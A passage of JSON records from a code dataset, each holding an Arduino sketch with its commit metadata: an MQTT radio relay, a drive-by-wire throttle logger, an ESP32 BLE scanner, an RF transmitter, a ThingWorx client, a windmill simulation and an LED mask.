up\"));\n uip.init_resolv(resolv_found);\n uip.start_dhcp(dhcp_status);\n\n \/\/ FIXME: resolve using DNS instead 107.170.134.171\n mqtt.set_server_addr(107, 170, 134, 171);\n mqtt.connect();\n\n\n Serial.println(F(\"setup() done\"));\n}\n\n\n\nvoid loop() {\n uip.poll();\n\n uint8_t buf[2] PROGMEM;\n if (manager.available()) {\n uint8_t len = 2;\n uint8_t from;\n if (manager.recvfromAck(buf, &len, &from))\n {\n\/\/ Serial.print(F(\"got request from : 0x\"));\n\/\/ Serial.print(from);\n\/\/ Serial.print(\": \");\n\/\/ Serial.print(buf[0]);\n\/\/ Serial.print(\": \");\n\/\/ Serial.println(buf[1]);\n uint8_t data[9] = { macaddr[0], macaddr[1], macaddr[2], macaddr[3], macaddr[4], macaddr[5], from, buf[0], buf[1]};\n uint8_t len = 9;\n if (mqtt.connected()) {\n \/\/Serial.println(F(\"Publishing...\"));\n mqtt.publish(\"skydome\", data, len);\n \/\/ Serial.println(F(\"Published.\"));\n } else {\n \/\/Serial.println(F(\"Connecting..\"));\n\n mqtt.connect();\n }\n \/\/ Send a reply back to the originator client\n if (!manager.sendtoWait(buf, 2, from))\n \/\/Serial.println(F(\"sendtoWait failed\"));\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'NestRH22Nanode.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"0371def55bb84ddefea4872aa577f22c44e1dabf","subject":"Routine to test Elcano C2 drive-by-wire with results logged to SD card.","message":"Routine to test Elcano C2 drive-by-wire with results logged to SD card.\n","repos":"jbobotek\/elcano,jbobotek\/elcano,jbobotek\/elcano,jbobotek\/elcano,jbobotek\/elcano,jbobotek\/elcano","old_file":"ThrottleLogger.ino","new_file":"ThrottleLogger.ino","new_contents":"\/*\n This is a test routine for Elcano.\n It runs on an Arduino Mega 2560 with an Adafruit datalogger shield.\n \n It is based on code by Tom Igoe to use SD card and serial monitor.\n \n The circuit:\n Uses enable switches, current sensors, and PWM outputs for brakes, steering and motor as\n given in IO_Mega.h\n A throttle is attached to analog input pin 8.\n * SD card attached to SPI bus as follows:\n ** CS - pin 10\n ** MOSI - pin 11\n ** MISO - pin 12\n ** CLK - pin 13\n \n Original created 24 Nov 2010; updated 2 Dec 2010 by Tom Igoe\n \n Adapted 21 Feb 2012 by Tyler Folsom\n \n This example code is in the public domain.\n \t \n Status as of 2\/26\/12:\n Throttle works and is displayed on the 8 LEDs on the front panel.\n All front panel LEDs work except for stopLED.\n Four front panel switches: power and enabling motor, brakes and steering work.\n SD card works, but is sometimes tempermental about displaying on a PC.\n Serial monitor works.\n RTC works with Duemillenove, but RTC hardware does not work on the Mega; use software RTC, which works.\n The throttle controls the servos for steering or brakes.\n Brake servo is physically connected to operate brakes.\n Steering servo has been disconnected from steering linkage. There have been problems \n with drawing more than 5 amps and blowing the fuse. Need to analyze phsysical limits of motion\n and limit motion if drawing too much current.\n Traction motor does not respond to throttle. Motor had worked previously and an alternative motor was\n recently tested as good; neither presently responds to computer. Suspect that the phase wires to wheel \n are wrong.\n The joystick was defective and returned to manufacturer. Presently in return shipment.\n Quiescent current sensors read about 111 counts, when this is subtracted off, there are still about \n 12-13 counts left, which is 1 Amp. Increasing current appears to be recognized correctly.\n \n To Do:\n Set steering limits and reattach linkage.\n Write routines to ease back on servo requests when too much current is drawn. Maybe a PID controller.\n Get traction motor working.\n Reinstall joystick.\n Phsically put everything back together.\n Test all systems on test stand.\n Do a road test.\n Shoot a video and post it.\n *\/\n#define MEGA\n#ifndef TRUE\n#define TRUE 1\n#define FALSE 0\n#endif\n#ifdef MEGA\n#include \"IO_Mega.h\"\n#else\n#include \"IO_2009.h\" \/\/ conflict with chip select\n#endif\n#include <SD.h>\n\n\/\/ On the Ethernet Shield, CS is pin 4. Note that even if it's not\n\/\/ used as the CS pin, the hardware CS pin (10 on most Arduino boards,\n\/\/ 53 on the Mega) must be left as an output or the SD library\n\/\/ functions will not work.\n\n\/\/ Date and time functions using just software, based on millis() & timer\n\n#include <Wire.h>\n#include \"RTClib.h\"\n\nRTC_Millis RTC;\n\n#define FILE_NAME \"DataLog.csv\"\nFile dataFile;\n\/\/ Background readings of current sensors\nint Quiescent36count = 0; \nint Quiescent12Bcount = 0; \nint Quiescent12Scount = 0; \n\nvoid setup()\n{\n Serial.begin(9600);\n Serial.print(\"Initializing throttle SD card...\");\n \/\/ make sure that the default chip select pin is set to\n \/\/ output, even if you don't use it:\n pinMode(chipSelect, OUTPUT);\n pinMode(53, OUTPUT); \/\/ Unused CS on Mega\n \n \/\/ see if the card is present and can be initialized:\n if (!SD.begin(chipSelect)) {\n Serial.println(\"Card failed, or not present\");\n \/\/ don't do anything more:\n return;\n }\n Serial.println(\"card initialized.\\n\");\n\n \/\/ following line sets the RTC to the date & time this sketch was compiled\n RTC.begin(DateTime(__DATE__, __TIME__));\n DateTime now = RTC.now();\n \n Serial.print(now.year(), DEC);\n Serial.print('\/');\n Serial.print(now.month(), DEC);\n Serial.print('\/');\n Serial.print(now.day(), DEC);\n Serial.print(' ');\n Serial.print(now.hour(), DEC);\n Serial.print(':');\n Serial.print(now.minute(), DEC);\n Serial.print(':');\n Serial.print(now.second(), DEC);\n Serial.println();\n \n pinMode(EnableMotor, INPUT);\n pinMode(EnableBrake, INPUT);\n pinMode(EnableSteer, INPUT);\n pinMode(Steer, OUTPUT);\n pinMode(DiskBrake, OUTPUT);\n pinMode(TractionMotor, OUTPUT);\n BackgroundCurrent();\n}\nvoid BackgroundCurrent()\n{\n int i;\n const int samples = 10;\n \/\/ wait for any power-up servo motion to stop; flash LED while waiting.\n for (i = 1; i < 12; i++)\n {\n digitalWrite(CruiseLED,HIGH); \n delay(700);\n digitalWrite(CruiseLED,LOW); \n delay(700);\n \/\/ 2\/26\/12 Do not see this LED flash. \n }\n \/\/ 2\/26\/12 Do we need to wait longer for current to stabilize?\n \/\/ Shoud we periodically recalculate the quiescent values?\n digitalWrite(CruiseLED,HIGH); \n\n for (i=1; i < samples; i++)\n {\n Quiescent36count += analogRead(Current36V); \n Quiescent12Bcount += analogRead(CurrentBrake); \n Quiescent12Scount += analogRead(CurrentSteer); \n delay(100);\n }\n Quiescent36count \/= samples; \n Quiescent12Bcount \/= samples; \n Quiescent12Scount \/= samples; \n digitalWrite(CruiseLED,LOW); \n Serial.print(Quiescent36count, DEC);\n Serial.print(',');\n Serial.print(Quiescent12Bcount, DEC);\n Serial.print(',');\n Serial.print(Quiescent12Scount, DEC);\n Serial.println();\n\n}\nvoid loop()\n{\n const unsigned long pause = 500; \/\/ msec\n unsigned long time = millis();\n unsigned long endTime = time + pause;\n\n\/\/ Read throttle and 3 switches; Send throttle to enabled servos.\n int throttle = testThrottle(); \/\/ 0 to 255\n int MotorSwitch = digitalRead(EnableMotor);\n int BrakeSwitch = digitalRead(EnableBrake);\n int SteerSwitch = digitalRead(EnableSteer);\n if (MotorSwitch == HIGH)\n {\n analogWrite(TractionMotor, throttle);\n }\n if (BrakeSwitch == HIGH)\n {\n analogWrite(DiskBrake, 128 + throttle\/2);\n }\n if (SteerSwitch == HIGH)\n {\n analogWrite(Steer, 128 + throttle\/2);\n }\n \/\/ To do: if all switches are low and it has been a while since last calculation,\n \/\/ call BackgroundCurrent().\n \/* Current sensors are Allegro ACS758LCB-50U\n Quiescent reading is about 550 mV, increasing by 60mV\/A.\n Data sheet gives 600 mV as typical quiescent.\n +\/- 3 sigma noise voltage is 15 mV.\n It uses 5V Vcc; Thus a reading of 1023 would be about 72 A.\n One count is 4.8 mV; One amp is 12 counts;\n Servos are fused for 5 amps; \n must keep current < 60 counts above quiescent.\n *\/\n const int mAmpsPerCount = 80; \n \/\/ read a voltage proportional to current.\n int current36 = analogRead(Current36V) - Quiescent36count; \n int current12B = analogRead(CurrentBrake) - Quiescent12Bcount; \n int current12S = analogRead(CurrentSteer) - Quiescent12Scount; \n int mAmp36 = current36 * mAmpsPerCount;\n int mAmp12B = current12B * mAmpsPerCount;\n int mAmp12S = current12S * mAmpsPerCount;\n \n \/\/ now log the information\n \/\/ make a string for assembling the data to log:\n \/\/ !!! Original version fails when string > 13 characters !!! TCF 2\/21\/12\n \/\/ String dataString = \"\"; \/\/ ORIGINAL\n String dataString = String(\" \");\n\/\/ dataString += String(i); \/\/ ORIGINAL\n dataString = String(throttle); \n dataString += (MotorSwitch==HIGH? \",1,\": \",0,\"); \n dataString += (BrakeSwitch==HIGH? \"1,\": \"0,\"); \n dataString += (SteerSwitch==HIGH? \"1,\": \"0,\"); \n dataString += String(current36);\n dataString += \",\"; \n dataString += String(current12B);\n dataString += \",\"; \n dataString += String(current12S);\n dataString += \", \"; \n dataString += String(mAmp36);\n dataString += \",\"; \n dataString += String(mAmp12B);\n dataString += \",\"; \n dataString += String(mAmp12S);\n dataString += \", \"; \n \n DateTime now = RTC.now();\n dataString += String(now.hour());\n dataString += \",\"; \n dataString += String(now.minute());\n dataString += \",\"; \n dataString += String(now.second());\n dataString += \",\"; \n dataString += String(now.day());\n dataString += \",\"; \n dataString += String(now.month());\n dataString += \",\"; \n dataString += String(now.year());\n\n \/\/ open the file. note that only one file can be open at a time,\n \/\/ so you have to close this one before opening another.\n dataFile = SD.open(FILE_NAME, FILE_WRITE);\n\n \/\/ if the file is available, write to it:\n if (dataFile) {\n dataFile.println(dataString);\n dataFile.close();\n \/\/ print to the serial port too:\n Serial.println(dataString);\n } \n \/\/ if the file isn't open, pop up an error:\n else {\n Serial.println(\"error opening file\");\n } \n \n \/\/ delay, but don't count time in loop\n while (time < endTime)\n {\n time = millis();\n }\n}\nint testThrottle()\n {\n \n int throttle = analogRead(AccelerateJoystick);\n const int MINIMUM = 0.86\/ 5 * 1023; \/\/ 175\n const int MAXIMUM = 3.99\/5 * 1023; \/\/816\n float scale = 255.0 \/ (float)(MAXIMUM - MINIMUM);\n throttle = max (0, throttle - MINIMUM);\n throttle *= scale;\n \n Display (throttle);\n return throttle;\n }\n void Display (int n)\n {\n int Bit;\n Bit = (n & 0x01)? HIGH: LOW;\n digitalWrite(LED8, Bit); \n Bit = (n & 0x02)? HIGH: LOW;\n digitalWrite(LED7, Bit); \n Bit = (n & 0x04)? HIGH: LOW;\n digitalWrite(LED6, Bit); \n Bit = (n & 0x08)? HIGH: LOW;\n digitalWrite(LED5, Bit); \n Bit = (n & 0x10)? HIGH: LOW;\n digitalWrite(ReverseLED, Bit); \n Bit = (n & 0x20)? HIGH: LOW;\n digitalWrite(LED4, Bit); \n Bit = (n & 0x40)? HIGH: LOW;\n digitalWrite(LED3, Bit); \n Bit = (n & 0x080)? HIGH: LOW;\n digitalWrite(LED1, Bit); \n }\n\n\n\n\n\n\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ThrottleLogger.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a4a9bfc1a0c5af4b9d5352e49564a82039ff388d","subject":"Added initial GapListener.ino","message":"Added initial GapListener.ino\n","repos":"bencoman\/siteBKNS,bencoman\/siteBKNS,bencoman\/siteBKNS,bencoman\/siteBKNS","old_file":"ESP32\/Examples-ArduinoIDE\/GapListener\/GapListener.ino","new_file":"ESP32\/Examples-ArduinoIDE\/GapListener\/GapListener.ino","new_contents":"\/\/ 2017.07.08.BTC Culled from https:\/\/github.com\/espressif\/esp-idf\/blob\/master\/examples\/bluetooth\/gatt_client\/main\/gattc_demo.c\n\/\/ squeezed on top of https:\/\/github.com\/espressif\/arduino-esp32\/blob\/master\/libraries\/SimpleBLE\/examples\/SimpleBleDevice\/SimpleBleDevice.ino\n\n\/\/ Copyright 2015-2016 Espressif Systems (Shanghai) PTE LTD\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n\/\/ Sketch shows how SimpleBLE to advertise the name of the device and change it on button press\n\/\/ Usefull if you want to advertise some short message\n\/\/ Button is attached between GPIO 0 and GND and modes are switched with each press\n\n#include \"SimpleBLE.h\"\n#include \"esp_gap_ble_api.h\"\n#include \"esp_bt_main.h\"\n\n#include <gatt_api.h> \/\/ bluedroid include\n\nstatic void esp_gap_cb(esp_gap_ble_cb_event_t event, esp_ble_gap_cb_param_t *param);\n\nstatic bool connect = false;\nstatic const char device_name[] = \"Alert Notification\";\n\nSimpleBLE ble;\n\nvoid setup() {\n Serial.begin(115200);\n Serial.setDebugOutput(true);\n pinMode(0, INPUT_PULLUP);\n Serial.print(\"ESP32 SDK: \");\n Serial.println(ESP.getSdkVersion());\n ble.begin(\"Ben's SimpleBLE\");\n esp_bluedroid_init();\n esp_bluedroid_enable();\n ble_client_appRegister();\n Serial.println(\"Press the button to change the device name\");\n}\n\nvoid loop() {\n delay(500); digitalWrite(LED_BUILTIN, HIGH);\n delay(500); digitalWrite(LED_BUILTIN, LOW);\n \/\/while(Serial.available()) Serial.write(Serial.read());\n}\n\nstatic void esp_gap_cb(esp_gap_ble_cb_event_t event, esp_ble_gap_cb_param_t *param)\n{\n uint8_t *adv_name = NULL;\n uint8_t adv_name_len = 0;\n Serial.print(\"esp_gap_cb!\");\n switch (event) {\n case ESP_GAP_BLE_SCAN_PARAM_SET_COMPLETE_EVT: {\n Serial.print(\"ESP_GAP_BLE_SCAN_PARAM_SET_COMPLETE_EVT \");\n \/\/the unit of the duration is second\n uint32_t duration = 10;\n esp_ble_gap_start_scanning(duration);\n break;\n }\n case ESP_GAP_BLE_SCAN_RESULT_EVT: {\n Serial.print(\"ESP_GAP_BLE_SCAN_RESULT_EVT \");\n esp_ble_gap_cb_param_t *scan_result = (esp_ble_gap_cb_param_t *)param;\n switch (scan_result->scan_rst.search_evt) {\n case ESP_GAP_SEARCH_INQ_RES_EVT:\n Serial.print(\"ESP_GAP_SEARCH_INQ_RES_EVT \");\n for (int i = 0; i < 6; i++) {\n Serial.printf(\"%x:\", scan_result->scan_rst.bda[i]);\n }\n Serial.printf(\"\\n\");\n adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv,\n ESP_BLE_AD_TYPE_NAME_CMPL, &adv_name_len);\n Serial.printf(\"Searched Device Name Len %d\\n\", adv_name_len);\n for (int j = 0; j < adv_name_len; j++) {\n Serial.printf(\"%c\", adv_name[j]);\n }\n\n if (adv_name != NULL) {\n if (strcmp((char *)adv_name, device_name) == 0) {\n Serial.printf(\"Searched device %s\\n\", device_name);\n if (connect == false) {\n connect = true;\n Serial.printf(\"Connect to the remote device.\\n\");\n esp_ble_gap_stop_scanning();\n }\n }\n }\n break;\n case ESP_GAP_SEARCH_INQ_CMPL_EVT:\n Serial.print(\"ESP_GAP_SEARCH_INQ_CMPL_EVT \");\n break;\n default:\n Serial.print(\"DEFAULT1 \");\n break;\n }\n break;\n }\n default:\n break;\n }\n Serial.println();\n}\n\nvoid ble_client_appRegister(void)\n{\n esp_err_t status;\n\n Serial.printf(\"register callback\\n\");\n\n \/\/register the scan callback function to the gap moudule\n if ((status = esp_ble_gap_register_callback(esp_gap_cb)) != ESP_OK) {\n Serial.printf(\"ERROR: gap register error, error code = %x\\n\", status);\n return;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ESP32\/Examples-ArduinoIDE\/GapListener\/GapListener.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"4875a3141918eb90e6e9daa3507b65f4f1e8f919","subject":"Testing interrupt","message":"Testing interrupt\n","repos":"Dimasdanz\/BiotechProject,Dimasdanz\/BiotechProject","old_file":"BiotechHardware\/dcs\/dcs_interrupt\/dcs_interrupt.ino","new_file":"BiotechHardware\/dcs\/dcs_interrupt\/dcs_interrupt.ino","new_contents":"void setup(){\n\tSerial.begin(9600);\n\tattachInterrupt(0, testing, CHANGE);\n}\n\nvoid loop(){\n\tfor (int i = 0; i < 100; i++){\n\t\tdelay(10);\n\t}\n}\n\nvoid testing(){\n\tSerial.println(\"Test\");\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'BiotechHardware\/dcs\/dcs_interrupt\/dcs_interrupt.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"1eb17997df92e89369f440580e112c563d8e7584","subject":"Scaled ADC to 1MHz, added support for changing it.","message":"Scaled ADC to 1MHz, added support for changing it.\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"Motor Speed\/testMeasurementSpeeds\/testMeasurementSpeeds.ino","new_file":"Motor Speed\/testMeasurementSpeeds\/testMeasurementSpeeds.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Speed\/testMeasurementSpeeds\/testMeasurementSpeeds.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d04cdb9f8f253ad8bb1a89bae09aa99f4bcfcf77","subject":"added project","message":"added project\n","repos":"rustam-iskenderov\/ATtiny13-transmitter-433Mghz","old_file":"transmitter\/transmitter.ino","new_file":"transmitter\/transmitter.ino","new_contents":"\/*\n RF transmitter example for attiny13.\n The code was created by analyzing these sources:\n 1. RCSwitch library, https:\/\/code.google.com\/p\/rc-switch\/\n 2. http:\/\/habrahabr.ru\/post\/224459\/\n 3. http:\/\/avrbasiccode.wikispaces.com\/\n \n For data receving just use examples from RCSwitch.\n \n Don't forget to set up properly frequency for attiny13.\n See Arduino\\hardware\\attiny\\boards.txt\n I've used attiny13.build.f_cpu=1200000L to get proper delays\n \n*\/\n\n#include <util\/delay.h>\n\nconst short nPulseLength = 350;\n\nconst short nHighPulses_0 = (nPulseLength * 1);\nconst short nLowPulses_0 = (nPulseLength * 3);\n\nconst short nHighPulses_1 = (nPulseLength * 3);\nconst short nLowPulses_1 = (nPulseLength * 1);\n\nconst short nLowPulses_sync = (nPulseLength * 31);\n\n#define PIN_TX\t\t(1<<PB3) \/\/ PB3 pin, goes to transmitter data pin\n#define PIN_LED\t\t(1<<PB4) \/\/ PB4 pin, for led\n\nvoid send(char* sCodeWord){\n\n\twhile (*sCodeWord != '\\0') {\n \n\t\tPORTB |= PIN_TX; \/\/ same as digitalWrite high\n\n\t\tif(*sCodeWord == '0')\n\t\t{\n\t\t\t_delay_us(nHighPulses_0);\n\t\t\tPORTB &= ~PIN_TX; \/\/ same as digitalWrite low\n\t\t\t_delay_us(nLowPulses_0);\n\t\t}else\n\t\t{\n\t\t\t_delay_us(nHighPulses_1);\n\t\t\tPORTB &= ~PIN_TX;\n\t\t\t_delay_us(nLowPulses_1);\n\t\t} \n\n\t\t++sCodeWord;\n\t}\n\n\tPORTB |= PIN_TX;\n\t_delay_us(nHighPulses_0);\n\n\tPORTB &= ~PIN_TX;\n\t_delay_us(nLowPulses_sync);\n}\n\n\nvoid setup() { \n\tDDRB |= PIN_TX; \/\/ Set output direction on PIN_TX\n}\n\nvoid loop() { \n\n\tfor(byte i = 0; i<10; ++i)\n\t{\n\t send(\"1011101000110101\"); \n\t}\n\n\t\/\/_delay_ms(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'transmitter\/transmitter.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6ec300058d9f46a4c9a8a9998dda32431245621c","subject":"Added example using ArduinoJson library to acquire numeric values JSON","message":"Added example using ArduinoJson library to acquire numeric values JSON\n","repos":"tidusdavid\/thingworx-arduino-wifi101","old_file":"examples\/getThingWorxJSONLib\/getThingWorxJSONLib.ino","new_file":"examples\/getThingWorxJSONLib\/getThingWorxJSONLib.ino","new_contents":"\/\/Name: getThingWorxJSONLib\n\/\/Author: David Velasquez\n\/\/Date: 23\/07\/2017\n\/\/Description: This program gets 2 variables from Thingworx server and reflects the first one as a PWM on LED\n\/\/Requires ArduinoJson library\n\n\/\/Libraries\n#include <ThingworxWiFi101.h>\n#include <ArduinoJson.h>\n\n\/\/I\/O pin labeling\n\n\/\/Server Constants\nconst unsigned long TPOST = 5000; \/\/Time between requests to TWX server (every 5 secs)\nconst unsigned int READCOUNT = 2; \/\/Number of variables to be read from thingworx (2)\nchar* ssid = \"Change to your SSID\"; \/\/WiFi SSID\nchar* password = \"Change to your pass\"; \/\/WiFi Pass\nchar* host = \"Change to your twx host\"; \/\/TWX Host example: myhost.edu.co (without http at beginning)\nunsigned int port = 80; \/\/TWX host port\n\n\/\/Variables\n\/\/->TWX Vars\nchar appKey[] = \"Write your TWX API key here\"; \/\/API Key from TWX\nchar thingName[] = \"Name of your TWX Thing\"; \/\/Thing name from TWX\nchar* writeNames[READCOUNT] = {\"READVAR1 name\", \"READVAR2 name\"}; \/\/Name of the variables to be read from the thingworx server\nunsigned int writeValues[READCOUNT] = {0, 0}; \/\/Thingworx read variables values converted to unsigned int\nString inputJson = \"\"; \/\/Variable to store Input Properties JSON\n\/\/->Timing Vars\nunsigned long lastConnectionTime = 0; \/\/Last connection ms time between server requests\n\/\/->ThingworxWiFi101 Vars\nThingWorx myThing(host, port, appKey, thingName); \/\/Declare the TWX object with his corresponding properties\n\n\/\/Subroutines & functions\nvoid printWifiStatus() {\n \/\/Print SSID name\n Serial.print(\"SSID: \");\n Serial.println(WiFi.SSID());\n\n \/\/Print ipv4 assigned to WiFi101 module\n IPAddress ip = WiFi.localIP();\n Serial.print(\"IP Address: \");\n Serial.println(ip);\n\n \/\/Print signal strength for WiFi101 module\n long rssi = WiFi.RSSI();\n Serial.print(\"Signal strength (RSSI):\");\n Serial.print(rssi);\n Serial.println(\" dBm\");\n}\n\nvoid WiFiInit() {\n delay(1000); \/\/Wait 1 sec for module initialization\n\n \/\/Check if WiFi Shield is connected to Arduino\n if (WiFi.status() == WL_NO_SHIELD) {\n Serial.println(\"WiFi shield not present\");\n \/\/Infinite loop if shield is not detected\n while (true);\n }\n\n \/\/Attempt a WiFi connection to desired access point at ssid, password\n while ( WiFi.status() != WL_CONNECTED) {\n Serial.print(\"Attempting to connect to SSID: \");\n Serial.println(ssid);\n \/\/ Connect to WPA\/WPA2 network. Change this line if using open or WEP network:\n WiFi.begin(ssid, password);\n delay(10000); \/\/Wait 10 secs for establishing connection\n }\n \/\/Print WiFi status\n printWifiStatus();\n}\n\nvoid setup() {\n \/\/I\/O configuration\n pinMode(LED_BUILTIN, OUTPUT); \/\/Built in LED from board as output\n\n \/\/Physical outputs initialization\n digitalWrite(LED_BUILTIN, LOW); \/\/Turn off built in LED\n\n \/\/Communications\n Serial.begin(9600); \/\/Serial communications with computer at 9600 bauds for debug purposes\n WiFiInit(); \/\/WiFi communications initialization\n}\n\nvoid loop() {\n if (millis() - lastConnectionTime > TPOST) { \/\/Send request to server every TPOST seconds\n inputJson = myThing.getjson(); \/\/Get all properties from server platform\n \/\/inputJson = myThing.getjson(\"write1\"); \/\/Get 1 property with write1 label from server platform\n Serial.println(inputJson);\n DynamicJsonBuffer jsonBuffer;\n JsonObject& root = jsonBuffer.parseObject(inputJson);\n if (root.success()) for (int i = 0; i < READCOUNT; i++) writeValues[i] = root[\"rows\"][0][writeNames[i]]; \/\/Extract each variable value from the JSON and store it on the corresponding var\n else Serial.println(\"Error parsing json\");\n Serial.println(\"write1: \" + String(writeValues[0]) + \" write2: \" + String(writeValues[1]));\n \/\/writeValues[0] = root[\"rows\"][0][writeNames[0]];\n \/\/Serial.println(\"write1: \" + String(writeValues[0]));\n analogWrite(LED_BUILTIN, writeValues[0]); \/\/Reflect thingworx variable as PWM in onboard led\n lastConnectionTime = millis(); \/\/Refresh last connection time\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/getThingWorxJSONLib\/getThingWorxJSONLib.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b9113121ea2e40648c73e71cfe3a9fb26d0b62dc","subject":"winmill_simulation on arduino :racehorse:","message":"winmill_simulation on arduino :racehorse:\n","repos":"jmdbo\/IS,jmdbo\/IS,jmdbo\/IS,jmdbo\/IS,jmdbo\/IS","old_file":"trab1\/Arduino\/windmill_sim\/windmill_sim.ino","new_file":"trab1\/Arduino\/windmill_sim\/windmill_sim.ino","new_contents":"\/***********************Windmill_Similation************************\/\n\/*****************System Integrated course form ******************\/\n\/*Faculdade Ci\u00eancias e Tecnologias from New University of Lisbon*\/\n\/*********Authors: Jo\u00e3o Miguel Duarte Barata Oliveira **********\/\n\/*************************** & ***************************\/\n\/************* Pedro Miguel dos Santos Martins ***************\/\n\/************************************************************\/\n\n#include<string.h>\n#include <avr\/wdt.h>\n\n\/\/PINS\nconst int buttonPin=2; \/\/Digital Pin 2. \nconst int buttonPin1=3; \/\/Digital Pin 3. \nconst int ledPin=4; \/\/Digital Pin 4.\nconst int potPin=A0; \/\/Analog Pin 0.\n\n\/\/Variables\nint buttonState=0; \/\/state of buttonPin\nint buttonState1=0; \/\/state od buttonPin1\nint sensorValue=0; \/\/Value of potPin\nint isOn=0; \/\/Statio State\nchar buffer[10]; \/\/rx % tx buffer \n\n\/\/clear tx&rxbuffer\nvoid clean_buffer(){\n memset(buffer,0,sizeof(buffer)); \n}\n\n\/\/initialization of PinMode\nint init_pinMode(){\n pinMode(buttonPin,INPUT);\n pinMode(buttonPin1,INPUT);\n pinMode(ledPin,OUTPUT);\n\n return 0; \n}\n\n\/\/initialization of UART\/USB COM\nint init_UART(){\n Serial.begin(9600);\n while(!Serial){\n ;\n } \n\n return 0;\n}\n\n\/\/Software reboot\nvoid software_reboot(){\n wdt_enable(WDTO_15MS);\n while(1){\n }\n}\n\nvoid setup(){\n int handlerror=0;\n\n handlerror=init_pinMode();\n if(handlerror==0)\n handlerror=init_UART();\n\n if(handlerror==1)\n software_reboot();\n}\n\nvoid loop(){\n \/\/reading input values\n buttonState=digitalRead(buttonPin);\n buttonState1=digitalRead(buttonPin1);\n sensorValue=analogRead(potPin);\n\n \/\/read UART COM\n if(Serial.available()>0){\n Serial.readBytesUntil('\/0',buffer,10); \n }\n\n \/\/Answer to isOn comand\n if(!strcmp(buffer,\"isOn\")){\n Serial.print(\"isOn: \");\n Serial.println(isOn);\n clean_buffer(); \n }\n\n \/\/Answer to enerProd command\n if(!strcmp(buffer,\"enerProd\")){\n Serial.print(\"enerProd: \");\n Serial.println(sensorValue); \n clean_buffer();\n }\n \/\/Answer to turnOn command\n if(!strcmp(buffer,\"turnOn\")){\n if(isOn==0){\n isOn=1;\n digitalWrite(ledPin,HIGH); \n }\n else{\n isOn=0;\n digitalWrite(ledPin,LOW); \n }\n Serial.print(\"isOn: \");\n Serial.println(isOn); \n clean_buffer();\n }\n \/\/Transmission of an error\n if(buttonState==HIGH){\n Serial.println(\"Error_message_1\");\n clean_buffer();\n }\n \n if(buttonState1==HIGH)\n software_reboot();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'trab1\/Arduino\/windmill_sim\/windmill_sim.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"08d2c986e578c7a0726991597346d40bc3a01cfe","subject":"Create Wrench-Mask-BLE.ino","message":"Create Wrench-Mask-BLE.ino\n\nReduced compiled size of sketch to 89656 bytes.\r\n\r\nConsolidated most of the regularly used actions into functions.\r\n\r\nEye patterns are now declared in their own void to save time when adjusting them.\r\n\r\nWink action now only affects the right eye so it can be used with any other pattern, to support this the blink action now sets the global brightness to 0 then back to 255.","repos":"Arudinne\/RGB-Wrench-Mask","old_file":"NRF52832\/Wrench-Mask-BLE.ino","new_file":"NRF52832\/Wrench-Mask-BLE.ino","new_contents":"\/* Wrench Mask - BLE Version (NRF52832)\n * \n * Hardware Used:\n * Adafruit Feather NRF52\n * Adafruit DotStar High Density 8x8 Grid - 64 RGB LED Pixel Matrix\n * TXB0104 Bi-Directional Level Shifter\n * \n * by Brandon C. Allen \n * \n * Based on the bleuart example from AdaFruit:\n * https:\/\/github.com\/adafruit\/Adafruit_nRF52_Arduino\/blob\/master\/libraries\/Bluefruit52Lib\/examples\/Peripheral\/bleuart\/bleuart.ino\n * \n*\/\n\n\/* Facial Expressions List\n * X X - Face001\n * > < - Face002\n * ^ ^ - Face003\n * @ @ - Face004\n * \/ \\ - Face005\n * ? ? - Face006\n * O o - Face007\n * \\ \/ - Face008\n * Z Z - Face009\n * # # - Face010\n * = = - Face011\n * ~ ^ - Face012\n * 9 9 - Face013\n * ! ! - Face014\n * * * - Face015\n * ` ` - Face016\n * ; ; - Face017\n * .) .) - Face018\n * (. (. - Face019\n * o O - Face020\n * . . - Face021\n * \u2310 \u2310 - Face022\n * <3 <3 - Face023\n*\/\n#include <bluefruit.h>\n#include <Adafruit_DotStar.h>\n#include <SPI.h>\n\n\/\/ BLE Service\nBLEDis bledis;\nBLEUart bleuart;\nBLEBas blebas;\n\n#define NUMPIXELS 256\n\n#define DATAPINL 13\n#define CLOCKPINL 12\n\n#define DATAPINR 30\n#define CLOCKPINR 27\n\n\/\/ Build the strip\nAdafruit_DotStar lefteye = Adafruit_DotStar(NUMPIXELS, DATAPINL, CLOCKPINL, DOTSTAR_BGR);\nAdafruit_DotStar righteye = Adafruit_DotStar(NUMPIXELS, DATAPINR, CLOCKPINR, DOTSTAR_BGR);\n\n\/\/ Define initial facial expression\nchar FaceMode = 1; \n\n\/\/ Define color parameters\nuint32_t colorRed = 0x040000;\nuint32_t colorGreen = 0x000400;\nuint32_t colorBlue = 0x000004;\nuint32_t colorWhite = 